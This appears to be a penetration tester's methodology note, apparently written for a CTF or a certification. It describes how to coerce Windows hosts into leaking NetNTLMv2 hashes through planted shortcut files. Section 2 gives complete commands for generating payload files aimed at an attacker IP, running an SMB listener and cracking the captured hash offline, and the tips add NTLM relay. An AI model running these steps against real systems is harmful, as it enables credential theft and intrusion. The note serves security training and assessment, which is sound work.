NTLM Coercion via File Metadata
Table of Contents
Forcing a Windows host or service account to authenticate outward to
an attacker-controlled listener by planting a file whose metadata
(commonly an icon path in a .lnk, .scf, .url, or similar
shortcut/config file) references a UNC path. Any process that
enumerates the file — even just rendering it in an icon view, or an
automated scanner inspecting metadata — triggers an SMB
authentication attempt toward the attacker, leaking a NetNTLMv2 hash.
Distinct from classic responder-style LLMNR/NBT-NS poisoning: this technique doesn't require being on-path for broadcast traffic, only write access somewhere the target will look (a share, a mapped drive, an upload feature) and an automated or human process that enumerates it.
Related: Proxy CTF Pass-the-Hash
1. Identifying Candidates
Requires:
- Write access to a location the target enumerates (an open SMB share, a file upload feature, a synced folder)
- Something that automatically processes files there — a scanning service, an antivirus/indexing agent, a scheduled task, or even a human periodically browsing the folder in Explorer
Documentation (onboarding guides, service descriptions, README files) describing automated file-processing services is a strong signal — it tells you both that the trigger exists and roughly how often it fires.
2. Exploitation
Generate coercion artifacts (icon-based payloads across various file types):
python ntlm_theft.py --generate modern --server <attacker_ip> --filename 'note'
Stand up a listener to capture the resulting authentication attempt:
sudo impacket-smbserver -smb2support <sharename> $(pwd)
Drop the generated file into the writable location the target enumerates, then wait for the automated process to trigger. Captured NetNTLMv2 hash appears in the listener output:
[*] AUTHENTICATE_MESSAGE (DOMAIN\svc_account,HOST) svc_account::DOMAIN:aaaaaaaaaaaaaaaa:<hash material>
Crack offline:
zcat /usr/share/wordlists/rockyou.txt.gz | john --stdin hash.txt
3. Testing Methodology / Checklist
[ ]Identify any writable location the target (service or user) enumerates[ ]Confirm or infer an automated process reads/processes that location, and its approximate interval[ ]Stand up an SMB listener before dropping the payload[ ]Allow at least one full processing cycle before assuming failure[ ]Crack the captured hash offline — this technique yields a crackable hash, not direct code execution
4. Reporting Template
Classification: Server-Side Request Forgery (as an authentication coercion variant) or Security Misconfiguration, depending on exact PT1 wording available — cross-check against the classification cheat sheet, since this technique sits at the boundary of a few categories and precise wording matters here. Severity: High to Critical, depending on the privilege level of the coerced account and what its credentials unlock once cracked/ relayed
Tips
- Works especially well against automated scanning/indexing services precisely because they process every file without human judgement — a much more reliable trigger than waiting for a person to browse a folder
- The captured hash can also potentially be relayed live (NTLM relay) rather than cracked offline, if relay to another service is viable and the account isn't protected by SMB signing — cracking was sufficient in the Proxy CTF case since a weak password was in use
- Worth checking write permissions on every discovered share, not just the obvious ones — this technique only requires write access somewhere monitored, not admin-level access anywhere